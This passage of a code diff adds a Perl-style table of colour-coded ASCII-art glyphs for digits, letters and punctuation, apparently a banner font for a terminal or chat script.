+"$c3     $c1.$c2##$c3  $c1.$c2##$c3",
+"$c3     $c1.$c2##$c3  $c1.$c2##$c3",
+"$c1.$c2#######$c3  $c1.$c2##$c3",
+"$c3             ",
+],
+"\cO" => [
+"$c3             ",
+"$c1.$c2##$c3  $c1.$c2#######$c3",
+"$c1.$c2##$c3  $c1.$c2##$c3     ",
+"$c1.$c2##$c3  $c1.$c2##$c3     ",
+"$c1.$c2############$c3",
+"$c3     $c1.$c2##$c3  $c1.$c2##$c3",
+"$c3     $c1.$c2##$c3  $c1.$c2##$c3",
+"$c1.$c2#######$c3  $c1.$c2##$c3",
+"$c3             ",
+],
+"0" => [
+"$c3         ",
+"$c3 $c1.$c2######$c3 ",
+"$c1.$c2##$c3   $c1.$c2##$c3",
+"$c1.$c2##$c3   $c1.$c2##$c3",
+"$c1.$c2##$c3   $c1.$c2##$c3",
+"$c1.$c2##$c3   $c1.$c2##$c3",
+"$c1.$c2##$c3   $c1.$c2##$c3",
+"$c3 $c1.$c2######$c3 ",
+"$c3         ",
+],
+"1" => [
+"$c3       ",
+"$c3  $c1.$c2##$c3  ",
+"$c3 $c1.$c2###$c3  ",
+"$c1.$c2####$c3  ",
+"$c3  $c1.$c2##$c3  ",
+"$c3  $c1.$c2##$c3  ",
+"$c3  $c1.$c2##$c3  ",
+"$c1.$c2######$c3",
+"$c3       ",
+],
+"2" => [
+"$c3        ",
+"$c3 $c1.$c2#####$c3 ",
+"$c1.$c2##$c3  $c1.$c2##$c3",
+"$c3    $c1.$c2##$c3 ",
+"$c3   $c1.$c2##$c3  ",
+"$c3  $c1.$c2##$c3   ",
+"$c3 $c1.$c2##$c3    ",
+"$c1.$c2#######$c3",
+"$c3        ",
+],
+"3" => [
+"$c3        ",
+"$c3 $c1.$c2#####$c3 ",
+"$c1.$c2##$c3  $c1.$c2##$c3",
+"$c3     $c1.$c2##$c3",
+"$c3   $c1.$c2###$c3 ",
+"$c3     $c1.$c2##$c3",
+"$c1.$c2##$c3  $c1.$c2##$c3",
+"$c3 $c1.$c2#####$c3 ",
+"$c3        ",
+],
+"4" => [
+"$c3        ",
+"$c3    $c1.$c2##$c3 ",
+"$c3   $c1.$c2###$c3 ",
+"$c3  $c1.$c2#$c1.$c2##$c3 ",
+"$c3 $c1.$c2#$c3 $c1.$c2##$c3 ",
+"$c1.$c2#######$c3",
+"$c3    $c1.$c2##$c3 ",
+"$c3    $c1.$c2##$c3 ",
+"$c3        ",
+],
+"5" => [
+"$c3        ",
+"$c1.$c2######$c3 ",
+"$c1.$c2##$c3     ",
+"$c1.$c2##$c3     ",
+"$c1.$c2######$c3 ",
+"$c3     $c1.$c2##$c3",
+"$c1.$c2##$c3  $c1.$c2##$c3",
+"$c3 $c1.$c2#####$c3 ",
+"$c3        ",
+],
+"6" => [
+"$c3        ",
+"$c3   $c1.$c2##$c3  ",
+"$c3  $c1.$c2##$c3   ",
+"$c3 $c1.$c2##$c3    ",
+"$c1.$c2######$c3 ",
+"$c1.$c2##$c3  $c1.$c2##$c3",
+"$c1.$c2##$c3  $c1.$c2##$c3",
+"$c3 $c1.$c2#####$c3 ",
+"$c3        ",
+],
+"7" => [
+"$c3         ",
+"$c1.$c2########$c3",
+"$c3      $c1.$c2##$c3",
+"$c3     $c1.$c2##$c3 ",
+"$c3    $c1.$c2##$c3  ",
+"$c3   $c1.$c2##$c3   ",
+"$c3  $c1.$c2##$c3    ",
+"$c3 $c1.$c2##$c3     ",
+"$c3         ",
+],
+"8" => [
+"$c3         ",
+"$c3 $c1.$c2######$c3 ",
+"$c1.$c2##$c3   $c1.$c2##$c3",
+"$c1.$c2##$c3   $c1.$c2##$c3",
+"$c3 $c1.$c2######$c3 ",
+"$c1.$c2##$c3   $c1.$c2##$c3",
+"$c1.$c2##$c3   $c1.$c2##$c3",
+"$c3 $c1.$c2######$c3 ",
+"$c3         ",
+],
+"9" => [
+"$c3        ",
+"$c3 $c1.$c2#####$c3 ",
+"$c1.$c2##$c3  $c1.$c2##$c3",
+"$c1.$c2##$c3  $c1.$c2##$c3",
+"$c3 $c1.$c2######$c3",
+"$c3    $c1.$c2##$c3 ",
+"$c3   $c1.$c2##$c3  ",
+"$c3  $c1.$c2##$c3   ",
+"$c3        ",
+],
+A => [
+"$c3        ",
+"$c3  $c1.$c2###$c3  ",
+"$c3 $c1.$c2##$c1.$c2##$c3 ",
+"$c1.$c2##$c3  $c1.$c2##$c3",
+"$c1.$c2#######$c3",
+"$c1.$c2##$c3  $c1.$c2##$c3",
+"$c1.$c2##$c3  $c1.$c2##$c3",
+"$c1.$c2##$c3  $c1.$c2##$c3",
+"$c3        ",
+],
+a => [
+"$c3         ",
+"$c3         ",
+"$c3         ",
+"$c3 $c1.$c2#####$c3  ",
+"$c3     $c1.$c2##$c3 ",
+"$c3 $c1.$c2######$c3 ",
+"$c1.$c2##$c3  $c1.$c2##$c3 ",
+"$c3 $c1.$c2#######$c3",
+"$c3         ",
+],
+B => [
+"$c3         ",
+"$c1.$c2#######$c3 ",
+"$c1.$c2##$c3   $c1.$c2##$c3",
+"$c1.$c2##$c3   $c1.$c2##$c3",
+"$c1.$c2#######$c3 ",
+"$c1.$c2##$c3   $c1.$c2##$c3",
+"$c1.$c2##$c3   $c1.$c2##$c3",
+"$c1.$c2#######$c3 ",
+"$c3         ",
+],
+b => [
+"$c3         ",
+"$c1.$c2##$c3      ",
+"$c1.$c2##$c3      ",
+"$c1.$c2######$c3  ",
+"$c1.$c2##$c3  $c1.$c2##$c3 ",
+"$c1.$c2##$c3   $c1.$c2##$c3",
+"$c1.$c2##$c3  $c1.$c2##$c3 ",
+"$c1.$c2######$c3  ",
+"$c3         ",
+],
+C => [
+"$c3         ",
+"$c3 $c1.$c2######$c3 ",
+"$c1.$c2##$c3   $c1.$c2##$c3",
+"$c1.$c2##$c3      ",
+"$c1.$c2##$c3      ",
+"$c1.$c2##$c3      ",
+"$c1.$c2##$c3   $c1.$c2##$c3",
+"$c3 $c1.$c2######$c3 ",
+"$c3         ",
+],
+c => [
+"$c3        ",
+"$c3        ",
+"$c3        ",
+"$c3  $c1.$c2#####$c3",
+"$c3 $c1.$c2##$c3    ",
+"$c1.$c2##$c3     ",
+"$c3 $c1.$c2##$c3    ",
+"$c3  $c1.$c2#####$c3",
+"$c3        ",
+],
+D => [
+"$c3          ",
+"$c1.$c2#######$c3  ",
+"$c1.$c2##$c3   $c1.$c2##$c3 ",
+"$c1.$c2##$c3    $c1.$c2##$c3",
+"$c1.$c2##$c3    $c1.$c2##$c3",
+"$c1.$c2##$c3    $c1.$c2##$c3",
+"$c1.$c2##$c3   $c1.$c2##$c3 ",
+"$c1.$c2#######$c3  ",
+"$c3          ",
+],
+d => [
+"$c3         ",
+"$c3      $c1.$c2##$c3",
+"$c3      $c1.$c2##$c3",
+"$c3  $c1.$c2######$c3",
+"$c3 $c1.$c2##$c3  $c1.$c2##$c3",
+"$c1.$c2##$c3   $c1.$c2##$c3",
+"$c3 $c1.$c2##$c3  $c1.$c2##$c3",
+"$c3  $c1.$c2######$c3",
+"$c3         ",
+],
+E => [
+"$c3        ",
+"$c1.$c2#######$c3",
+"$c1.$c2##$c3     ",
+"$c1.$c2##$c3     ",
+"$c1.$c2######$c3 ",
+"$c1.$c2##$c3     ",
+"$c1.$c2##$c3     ",
+"$c1.$c2#######$c3",
+"$c3        ",
+],
+e => [
+"$c3         ",
+"$c3         ",
+"$c3         ",
+"$c3 $c1.$c2######$c3 ",
+"$c1.$c2##$c3   $c1.$c2##",
+"$c1.$c2#######$c3 ",
+"$c1.$c2##$c3      ",
+"$c3 $c1.$c2######$c3 ",
+"$c3         ",
+],
+F => [
+"$c3        ",
+"$c1.$c2#######",
+"$c1.$c2##$c3     ",
+"$c1.$c2##$c3     ",
+"$c1.$c2######$c3 ",
+"$c1.$c2##$c3     ",
+"$c1.$c2##$c3     ",
+"$c1.$c2##$c3     ",
+"$c3        ",
+],
+f => [
+"$c3      ",
+"$c3      ",
+"$c3  $c1.$c2###",
+"$c3 $c1.$c2##$c3  ",
+"$c1.$c2#####",
+"$c3 $c1.$c2##$c3  ",
+"$c3 $c1.$c2##$c3  ",
+"$c3 $c1.$c2##$c3  ",
+"$c3      ",
+],
+G => [
+"$c3          ",
+"$c3  $c1.$c2######$c3 ",
+"$c3 $c1.$c2##$c3   $c1.$c2##$c3",
+"$c1.$c2##$c3       ",
+"$c1.$c2##$c3  $c1.$c2####$c3",
+"$c1.$c2##$c3    $c1.$c2##$c3",
+"$c3 $c1.$c2##$c3   $c1.$c2##$c3",
+"$c3  $c1.$c2######$c3 ",
+"$c3          ",
+],
+g => [
+"$c3         ",
+"$c3         ",
+"$c3         ",
+"$c3 $c1.$c2######$c3 ",
+"$c1.$c2##$c3   $c1.$c2##$c3",
+"$c1.$c2##$c3   $c1.$c2##$c3",
+"$c3 $c1.$c2#######$c3",
+"$c3      $c1.$c2##$c3",
+"$c3 $c1.$c2######$c3 ",
+],
+H => [
+"$c3         ",
+"$c1.$c2##$c3   $c1.$c2##$c3",
+"$c1.$c2##$c3   $c1.$c2##$c3",
+"$c1.$c2##$c3   $c1.$c2##$c3",
+"$c1.$c2########$c3",
+"$c1.$c2##$c3   $c1.$c2##$c3",
+"$c1.$c2##$c3   $c1.$c2##$c3",
+"$c1.$c2##$c3   $c1.$c2##$c3",
+"$c3         ",
+],
+h => [
+"$c3         ",
+"$c1.$c2##$c3      ",
+"$c1.$c2##$c3      ",
+"$c1.$c2#######$c3 ",
+"$c1.$c2##$c3   $c1.$c2##$c3",
+"$c1.$c2##$c3   $c1.$c2##$c3",
+"$c1.$c2##$c3   $c1.$c2##$c3",
+"$c1.$c2##$c3   $c1.$c2##$c3",
+"$c3         ",
+],
+I => [
+"$c3       ",
+"$c1.$c2######$c3",
+"$c3  $c1.$c2##$c3  ",
+"$c3  $c1.$c2##$c3  ",
+"$c3  $c1.$c2##$c3  ",
+"$c3  $c1.$c2##$c3  ",
+"$c3  $c1.$c2##$c3  ",
+"$c1.$c2######$c3",
+"$c3       ",
+],
+i => [
+"$c3     ",
+"$c3 $c1.$c2##$c3 ",
+"$c3     ",
+"$c1.$c2###$c3 ",
+"$c3 $c1.$c2##$c3 ",
+"$c3 $c1.$c2##$c3 ",
+"$c3 $c1.$c2##$c3 ",
+"$c1.$c2####",
+"$c3     ",
+],
+J => [
+"$c3        ",
+"$c3 $c1.$c2######",
+"$c3    $c1.$c2##$c3 ",
+"$c3    $c1.$c2##$c3 ",
+"$c3    $c1.$c2##$c3 ",
+"$c3    $c1.$c2##$c3 ",
+"$c1.$c2##$c3 $c1.$c2##$c3 ",
+"$c3 $c1.$c2####$c3  ",
+"$c3        ",
+],
+j => [
+"$c3       ",
+"$c3    $c1.$c2##",
+"$c3       ",
+"$c3   $c1.$c2###",
+"$c3    $c1.$c2##",
+"$c3    $c1.$c2##",
+"$c3    $c1.$c2##",
+"$c1.$c2##$c3 $c1.$c2##",
+"$c3 $c1.$c2####$c3 ",
+],
+K => [
+"$c3        ",
+"$c1.$c2##$c3  $c1.$c2##$c3",
+"$c1.$c2##$c3 $c1.$c2##$c3 ",
+"$c1.$c2##$c1.$c2##$c3  ",
+"$c1.$c2####$c3   ",
+"$c1.$c2##$c1.$c2##$c3  ",
+"$c1.$c2##$c3 $c1.$c2##$c3 ",
+"$c1.$c2##$c3  $c1.$c2##$c3",
+"$c3        ",
+],
+k => [
+"$c3        ",
+"$c1.$c2##$c3     ",
+"$c1.$c2##$c3     ",
+"$c1.$c2##$c3  $c1.$c2##",
+"$c1.$c2##$c3 $c1.$c2##$c3 ",
+"$c1.$c2#####$c3  ",
+"$c1.$c2##$c3 $c1.$c2##$c3 ",
+"$c1.$c2##$c3  $c1.$c2##",
+"$c3        ",
+],
+L => [
+"$c3        ",
+"$c1.$c2##$c3     ",
+"$c1.$c2##$c3     ",
+"$c1.$c2##$c3     ",
+"$c1.$c2##$c3     ",
+"$c1.$c2##$c3     ",
+"$c1.$c2##$c3     ",
+"$c1.$c2#######$c3",
+"$c3        ",
+],
+l => [
+"$c3     ",
+"$c1.$c2###$c3 ",
+"$c3 $c1.$c2##$c3 ",
+"$c3 $c1.$c2##$c3 ",
+"$c3 $c1.$c2##$c3 ",
+"$c3 $c1.$c2##$c3 ",
+"$c3 $c1.$c2##$c3 ",
+"$c1.$c2####",
+"$c3     ",
+],
+M => [
+"$c3            ",
+"$c1.$c2##$c3      $c1.$c2##$c3",
+"$c1.$c2###$c3    $c1.$c2###$c3",
+"$c1.$c2####$c3  $c1.$c2####$c3",
+"$c1.$c2##$c1.$c2##$c1.$c2##$c1.$c2##$c3",
+"$c1.$c2##$c3 $c1.$c2###$c3 $c1.$c2##$c3",
+"$c1.$c2##$c3  $c1.$c2#$c3  $c1.$c2##$c3",
+"$c1.$c2##$c3      $c1.$c2##$c3",
+"$c3            ",
+],
+m => [
+"$c3          ",
+"$c3          ",
+"$c3          ",
+"$c3 $c1.$c2##$c3  $c1.$c2##$c3 ",
+"$c1.$c2####$c1.$c2####$c3",
+"$c1.$c2##$c1.$c2###$c1.$c2##$c3",
+"$c1.$c2##$c3 $c1.$c2#$c3 $c1.$c2##$c3",
+"$c1.$c2##$c3    $c1.$c2##$c3",
+"$c3          ",
+],
+N => [
+"$c3           ",
+"$c1.$c2###$c3    $c1.$c2##",
+"$c1.$c2####$c3   $c1.$c2##",
+"$c1.$c2##$c1.$c2##$c3  $c1.$c2##",
+"$c1.$c2##$c3 $c1.$c2##$c3 $c1.$c2##",
+"$c1.$c2##$c3  $c1.$c2##$c1.$c2##",
+"$c1.$c2##$c3   $c1.$c2####",
+"$c1.$c2##$c3    $c1.$c2###",
+"$c3           ",
+],
+n => [
+"$c3         ",
+"$c3         ",
+"$c3         ",
+"$c3 $c1.$c2######$c3 ",
+"$c1.$c2##$c3   $c1.$c2##$c3",
+"$c1.$c2##$c3   $c1.$c2##$c3",
+"$c1.$c2##$c3   $c1.$c2##$c3",
+"$c1.$c2##$c3   $c1.$c2##$c3",
+"$c3         ",
+],
+O => [
+"$c3           ",
+"$c3  $c1.$c2######$c3  ",
+"$c3 $c1.$c2##$c3   $c1.$c2##$c3 ",
+"$c1.$c2##$c3     $c1.$c2##$c3",
+"$c1.$c2##$c3     $c1.$c2##$c3",
+"$c1.$c2##$c3     $c1.$c2##$c3",
+"$c3 $c1.$c2##$c3   $c1.$c2##$c3 ",
+"$c3  $c1.$c2######$c3  ",
+"$c3           ",
+],
+o => [
+"$c3         ",
+"$c3         ",
+"$c3         ",
+"$c3 $c1.$c2######$c3 ",
+"$c1.$c2##$c3   $c1.$c2##$c3",
+"$c1.$c2##$c3   $c1.$c2##$c3",
+"$c1.$c2##$c3   $c1.$c2##$c3",
+"$c3 $c1.$c2######$c3 ",
+"$c3         ",
+],
+P => [
+"$c3         ",
+"$c1.$c2#######$c3 ",
+"$c1.$c2##$c3   $c1.$c2##$c3",
+"$c1.$c2##$c3   $c1.$c2##$c3",
+"$c1.$c2#######$c3 ",
+"$c1.$c2##$c3      ",
+"$c1.$c2##$c3      ",
+"$c1.$c2##$c3      ",
+"$c3         ",
+],
+p => [
+"$c3         ",
+"$c3         ",
+"$c3         ",
+"$c3 $c1.$c2######$c3 ",
+"$c1.$c2##$c3   $c1.$c2##$c3",
+"$c1.$c2##$c3   $c1.$c2##$c3",
+"$c1.$c2#######$c3 ",
+"$c1.$c2##$c3      ",
+"$c1.$c2##$c3      ",
+],
+Q => [
+"$c3           ",
+"$c3  $c1.$c2######$c3  ",
+"$c3 $c1.$c2##$c3   $c1.$c2##$c3 ",
+"$c1.$c2##$c3     $c1.$c2##$c3",
+"$c1.$c2##$c3     $c1.$c2##$c3",
+"$c1.$c2##$c3  $c1.$c2##$c1.$c2##$c3",
+"$c3 $c1.$c2##$c3  $c1.$c2###$c3 ",
+"$c3  $c1.$c2######$c3  ",
+"$c3       $c1.$c2##$c3 ",
+],
+q => [
+"$c3         ",
+"$c3         ",
+"$c3         ",
+"$c3 $c1.$c2######$c3 ",
+"$c1.$c2##$c3   $c1.$c2##$c3",
+"$c1.$c2##$c3   $c1.$c2##$c3",
+"$c3 $c1.$c2#######$c3",
+"$c3      $c1.$c2##$c3",
+"$c3      $c1.$c2##$c3",
+],
+R => [
+"$c3           ",
+"$c1.$c2#######$c3   ",
+"$c1.$c2##$c3   $c1.$c2##$c3  ",
+"$c1.$c2##$c3   $c1.$c2##$c3  ",
+"$c1.$c2#######$c3   ",
+"$c1.$c2##$c3   $c1.$c2##$c3  ",
+"$c1.$c2##$c3    $c1.$c2##$c3 ",
+"$c1.$c2##$c3     $c1.$c2##",
+"$c3           ",
+],
+r => [
+"$c3        ",
+"$c3        ",
+"$c3        ",
+"$c3 $c1.$c2#####$c3 ",
+"$c1.$c2##$c3  $c1.$c2##$c3",
+"$c1.$c2##$c3     ",
+"$c1.$c2##$c3     ",
+"$c1.$c2##$c3     ",
+"$c3        ",
+],
+S => [
+"$c3        ",
+"$c3 $c1.$c2#####$c3 ",
+"$c1.$c2##$c3  $c1.$c2##$c3",
+"$c1.$c2##$c3     ",
+"$c3 $c1.$c2#####$c3 ",
+"$c3     $c1.$c2##$c3",
+"$c1.$c2##$c3  $c1.$c2##$c3",
+"$c3 $c1.$c2#####$c3 ",
+"$c3        ",
+],
+s => [
+"$c3       ",
+"$c3       ",
+"$c3       ",
+"$c3 $c1.$c2#####$c3",
+"$c1.$c2##$c3    ",
+"$c3 $c1.$c2####$c3 ",
+"$c3    $c1.$c2##$c3",
+"$c1.$c2#####$c3 ",
+"$c3       ",
+],
+T => [
+"$c3         ",
+"$c1.$c2########$c3",
+"$c3   $c1.$c2##$c3   ",
+"$c3   $c1.$c2##$c3   ",
+"$c3   $c1.$c2##$c3   ",
+"$c3   $c1.$c2##$c3   ",
+"$c3   $c1.$c2##$c3   ",
+"$c3   $c1.$c2##$c3   ",
+"$c3         ",
+],
+t => [
+"$c3       ",
+"$c3       ",
+"$c3 $c1.$c2##$c3   ",
+"$c1.$c2#####$c3 ",
+"$c3 $c1.$c2##$c3   ",
+"$c3 $c1.$c2##$c3   ",
+"$c3 $c1.$c2##$c1.$c2##",
+"$c3  $c1.$c2###$c3 ",
+"$c3       ",
+],
+U => [
+"$c3           ",
+"$c1.$c2##$c3     $c1.$c2##$c3",
+"$c1.$c2##$c3     $c1.$c2##$c3",
+"$c1.$c2##$c3     $c1.$c2##$c3",
+"$c1.$c2##$c3     $c1.$c2##$c3",
+"$c1.$c2##$c3     $c1.$c2##$c3",
+"$c3 $c1.$c2##$c3   $c1.$c2##$c3 ",
+"$c3  $c1.$c2######$c3  ",
+"$c3           ",
+],
+u => [
+"$c3         ",
+"$c3         ",
+"$c3         ",
+"$c1.$c2##$c3   $c1.$c2##$c3",
+"$c1.$c2##$c3   $c1.$c2##$c3",
+"$c1.$c2##$c3   $c1.$c2##$c3",
+"$c1.$c2##$c3   $c1.$c2##$c3",
+"$c3 $c1.$c2######$c3 ",
+"$c3         ",
+],
+V => [
+"$c3             ",
+"$c1.$c2#$c3         $c1.$c2#",
+"$c1.$c2##$c3       $c1.$c2##",
+"$c3 $c1.$c2##$c3     $c1.$c2##$c3 ",
+"$c3  $c1.$c2##$c3   $c1.$c2##$c3  ",
+"$c3   $c1.$c2##$c3 $c1.$c2##$c3   ",
+"$c3    $c1.$c2####$c3    ",
+"$c3     $c1.$c2##$c3     ",
+"$c3             ",
+],
+v => [
+"$c3            ",
+"$c3            ",
+"$c3            ",
+"$c1.$c2##$c3      $c1.$c2##",
+"$c3 $c1.$c2##$c3    $c1.$c2##$c3 ",
+"$c3  $c1.$c2##$c3  $c1.$c2##$c3  ",
+"$c3   $c1.$c2##$c1.$c2##$c3   ",
+"$c3    $c1.$c2###$c3    ",
+"$c3            ",
+],
+W => [
+"$c3           ",
+"$c1.$c2##$c3     $c1.$c2##",
+"$c1.$c2##$c3     $c1.$c2##",
+"$c1.$c2##$c3     $c1.$c2##",
+"$c1.$c2##$c3 $c1.$c2##$c3 $c1.$c2##",
+"$c1.$c2##$c1.$c2####$c1.$c2##",
+"$c1.$c2####$c3 $c1.$c2####",
+"$c3 $c1.$c2##$c3   $c1.$c2##$c3 ",
+"$c3           ",
+],
+w => [
+"$c3          ",
+"$c3          ",
+"$c3          ",
+"$c1.$c2##$c3    $c1.$c2##$c3",
+"$c1.$c2##$c3 $c1.$c2#$c3 $c1.$c2##$c3",
+"$c1.$c2##$c1.$c2###$c1.$c2##$c3",
+"$c1.$c2####$c1.$c2####$c3",
+"$c3 $c1.$c2##$c3  $c1.$c2##$c3 ",
+"$c3          ",
+],
+X => [
+"$c3          ",
+"$c1.$c2##$c3    $c1.$c2##$c3",
+"$c3 $c1.$c2##$c3  $c1.$c2##$c3 ",
+"$c3  $c1.$c2##$c1.$c2##$c3  ",
+"$c3   $c1.$c2###$c3   ",
+"$c3  $c1.$c2##$c1.$c2##$c3  ",
+"$c3 $c1.$c2##$c3  $c1.$c2##$c3 ",
+"$c1.$c2##$c3    $c1.$c2##$c3",
+"$c3          ",
+],
+x => [
+"$c3        ",
+"$c3        ",
+"$c3        ",
+"$c1.$c2##$c3  $c1.$c2##$c3",
+"$c3 $c1.$c2##$c1.$c2##$c3 ",
+"$c3   $c2###$c3  ",
+"$c3 $c1.$c2##$c1.$c2##$c3 ",
+"$c1.$c2##$c3  $c1.$c2##$c3",
+"$c3        ",
+],
+Y => [
+"$c3           ",
+"$c1.$c2##$c3     $c1.$c2##$c3",
+"$c3 $c1.$c2##$c3   $c1.$c2##$c3 ",
+"$c3  $c1.$c2##$c3 $c1.$c2##$c3  ",
+"$c3   $c1.$c2####$c3   ",
+"$c3    $c1.$c2##$c3    ",
+"$c3    $c1.$c2##$c3    ",
+"$c3    $c1.$c2##$c3    ",
+"$c3           ",
+],
+y => [
+"$c3           ",
+"$c3           ",
+"$c3           ",
+"$c1.$c2##$c3     $c1.$c2##$c3",
+"$c3 $c1.$c2##$c3   $c1.$c2##$c3 ",
+"$c3  $c1.$c2##$c3 $c1.$c2##$c3  ",
+"$c3   $c1.$c2####$c3   ",
+"$c3    $c1.$c2##$c3    ",
+"$c3   $c1.$c2##$c3     ",
+],
+Z => [
+"$c3         ",
+"$c1.$c2########$c3",
+"$c3     $c1.$c2##$c3 ",
+"$c3    $c1.$c2##$c3  ",
+"$c3   $c1.$c2##$c3   ",
+"$c3  $c1.$c2##$c3    ",
+"$c3 $c1.$c2##$c3     ",
+"$c1.$c2########$c3",
+"$c3         ",
+],
+z => [
+"$c3          ",
+"$c3          ",
+"$c3          ",
+"$c1.$c2########$c3 ",
+"$c3     $c1.$c2##$c3  ",
+"$c3   $c1.$c2##$c3    ",
+"$c3 $c1.$c2##$c3      ",
+"$c1.$c2########$c3 ",
+"$c3          ",
+],
+'~' => [
+"$c3             ",
+"$c3             ",
+"$c3             ",
+"$c3  $c1.$c2####$c3   $c1.$c2##$c3",
+"$c3 $c1.$c2##$c3 $c1.$c2##$c3 $c1.$c2##$c3 ",
+"$c1.$c2##$c3   $c1.$c2####$c3  ",
+"$c3             ",
+"$c3             ",
+"$c3             ",
+],
+'`' => [
+"$c3    ",
+"$c1.$c2##$c3 ",
+"$c3 $c1.$c2##",
+"$c3    ",
+"$c3    ",
+"$c3    ",
+"$c3    ",
+"$c3    ",
+"$c3    ",
+],
+'!' => [
+"$c3         ",
+"$c3      $c1.$c2##$c3",
+"$c3     $c1.$c2##$c3 ",
+"$c3    $c1.$c2##$c3  ",
+"$c3   $c1.$c2##$c3   ",
+"$c3  $c1.$c2##$c3    ",
+"$c3         ",
+"$c1.$c2##$c3      ",
+"$c3         ",
+],
+'@' => [
+"$c3            ",
+"$c3  $c1.$c2#######$c3  ",
+"$c3 $c1.$c2##$c3    $c1.$c2##$c3 ",
+"$c1.$c2##$c3  $c1.$c2##$c3 $c1.$c2##$c3",
+"$c1.$c2##$c3 $c1.$c2##$c3  $c1.$c2##$c3",
+"$c1.$c2##$c3  $c1.$c2#####$c3 ",
+"$c3 $c1.$c2##$c3        ",
+"$c3  $c1.$c2#######$c3  ",
+"$c3            ",
+],
+'#' => [
+"$c3           ",
+"$c3  $c1.$c2##$c3 $c1.$c2##$c3  ",
+"$c3  $c1.$c2##$c3 $c1.$c2##$c3  ",
+"$c1.$c2##########",
+"$c3  $c1.$c2##$c3 $c1.$c2##$c3  ",
+"$c1.$c2##########",
+"$c3  $c1.$c2##$c3 $c1.$c2##$c3  ",
+"$c3  $c1.$c2##$c3 $c1.$c2##$c3  ",
+"$c3           ",
+],
+'$' => [
+"$c3    $c1.$c2#$c3    ",
+"$c3 $c1.$c2#######$c3 ",
+"$c1.$c2##$c3 $c1.$c2#$c3 $c1.$c2##$c3",
+"$c1.$c2##$c3 $c1.$c2#$c3    ",
+"$c3 $c1.$c2#######$c3 ",
+"$c3    $c1.$c2#$c3 $c1.$c2##$c3",
+"$c1.$c2##$c3 $c1.$c2#$c3 $c1.$c2##$c3",
+"$c3 $c1.$c2#######$c3 ",
+"$c3    $c1.$c2#$c3    ",
+],
+'%' => [
+"$c3         ",
+"$c1.$c2##$c3   $c1.$c2##",
+"$c3     $c1.$c2##$c3 ",
+"$c3    $c1.$c2##$c3  ",
+"$c3   $c1.$c2##$c3   ",
+"$c3  $c1.$c2##$c3    ",
+"$c3 $c1.$c2##$c3     ",
+"$c1.$c2##$c3   $c1.$c2##",
+"$c3         ",
+],
+'^' => [
+"$c3        ",
+"$c3        ",
+"$c3  $c1.$c2###$c3  ",
+"$c3 $c1.$c2##$c1.$c2##$c3 ",
+"$c1.$c2##$c3  $c1.$c2##$c3",
+"$c3        ",
+"$c3        ",
+"$c3        ",
+"$c3        ",
+],
+'&' => [
+"$c3           ",
+"$c3  $c1.$c2####$c3    ",
+"$c3 $c1.$c2##$c3 $c1.$c2##$c3   ",
+"$c3  $c1.$c2####$c3    ",
+"$c3 $c1.$c2##$c3 $c1.$c2##$c3   ",
+"$c1.$c2##$c3   $c1.$c2##$c3  ",
+"$c1.$c2##$c3    $c1.$c2##$c3 ",
+"$c3 $c1.$c2######$c1.$c2##$c3",
+"$c3           ",
+],
+'*' => [
+"$c3     ",
+"$c3     ",
+"$c1.$c2#$c3 $c1.$c2#",
+"$c3 $c1.$c2##$c3 ",
+"$c1.$c2#$c3 $c1.$c2#",
+"$c3     ",
+"$c3     ",
+"$c3     ",
+"$c3     ",
+],
+'(' => [
+"$c3     ",
+"$c3  $c1.$c2##$c3",
+"$c3 $c1.$c2##$c3 ",
+"$c1.$c2##$c3  ",
+"$c1.$c2##$c3  ",
+"$c1.$c2##$c3  ",
+"$c3 $c1.$c2##$c3 ",
+"$c3  $c1.$c2##$c3",
+"$c3     ",
+],
+')' => [
+"$c3     ",
+"$c1.$c2##$c3  ",
+"$c3 $c1.$c2##$c3 ",
+"$c3  $c1.$c2##$c3",
+"$c3  $c1.$c2##$c3",
+"$c3  $c1.$c2##$c3",
+"$c3 $c1.$c2##$c3 ",
+"$c1.$c2##$c3  ",
+"$c3     ",
+],
+'_' => [
+"$c3         ",
+"$c3         ",
+"$c3         ",
+"$c3         ",
+"$c3         ",
+"$c3         ",
+"$c3         ",
+"$c1.$c2########$c3",
+"$c3         ",
+],
+'-' => [
+"$c3         ",
+"$c3         ",
+"$c3         ",
+"$c3         ",
+"$c1.$c2########$c3",
+"$c3         ",
+"$c3         ",
+"$c3         ",
+"$c3         ",
+],
+'+' => [
+"$c3         ",
+"$c3         ",
+"$c3   $c1.$c2##$c3   ",
+"$c3   $c1.$c2##$c3   ",
+"$c1.$c2########$c3",
+"$c3   $c1.$c2##$c3   ",
+"$c3   $c1.$c2##$c3   ",
+"$c3         ",
+"$c3         ",
+],
+'=' => [
+"$c3         ",
+"$c3         ",
+"$c3         ",
+"$c1.$c2########$c3",
+"$c3         ",
+"$c1.$c2########$c3",
+"$c3         ",
+"$c3         ",
+"$c3         ",
+],
+'|' => [
+"$c3   ",
+"$c1.$c2##$c3",
+"$c1.$c2##$c3",
+"$c1.$c2##$c3",
+"$c1.$c2##$c3",
+"$c1.$c2##$c3",
+"$c1.$c2##$c3",
+"$c1.$c2##$c3",
+"$c3   ",
+],
+'\\' => [
+"$c3         ",
+"$c1.$c2##$c3      ",
+"$c3 $c1.$c2##$c3     ",
+"$c3  $c1.$c2##$c3    ",
+"$c3   $c1.$c2##$c3   ",
+"$c3    $c1.$c2##$c3  ",
+"$c3     $c1.$c2##$c3 ",
+"$c3      $c1.$c2##$c3",
+"$c3         ",
+],
+'[' => [
+"$c3     ",
+"$c1.$c2####$c3",
+"$c1.$c2##$c3  ",
+"$c1.$c2##$c3  ",
+"$c1.$c2##$c3  ",
+"$c1.$c2##$c3  ",
+"$c1.$c2##$c3  ",
+"$c1.$c2####$c3",
+"$c3     ",
+],
+']' => [
+"$c3     ",
+"$c1.$c2####$c3",
+"$c3  $c1.$c2##$c3",
+"$c3  $c1.$c2##$c3",
+"$c3  $c1.$c2##$c3",
+"$c3  $c1.$c2##$c3",
+"$c3  $c1.$c2##$c3",
+"$c1.$c2####$c3",
+"$c3     ",
+],
+'{' => [
+"$c3     ",
+"$c3 $c1.$c2###$c3",
+"$c1.$c2##$c3  ",
+"$c3 $c1.$c2##$c3 ",
+"$c1.$c2##$c3  ",
+"$c3 $c1.$c2##$c3 ",
+"$c1.$c2##$c3  ",
+"$c3 $c1.$c2###$c3",
+"$c3     ",
+],
+'}' => [
+"$c3     ",
+"$c1.$c2###$c3 ",
+"$c3  $c1.$c2##$c3",
+"$c3 $c1.$c2##$c3 ",
+"$c3  $c1.$c2##$c3",
+"$c3 $c1.$c2##$c3 ",
+"$c3  $c1.$c2##$c3",
+"$c1.$c2###$c3 ",
+"$c3     ",
+],
+':' => [
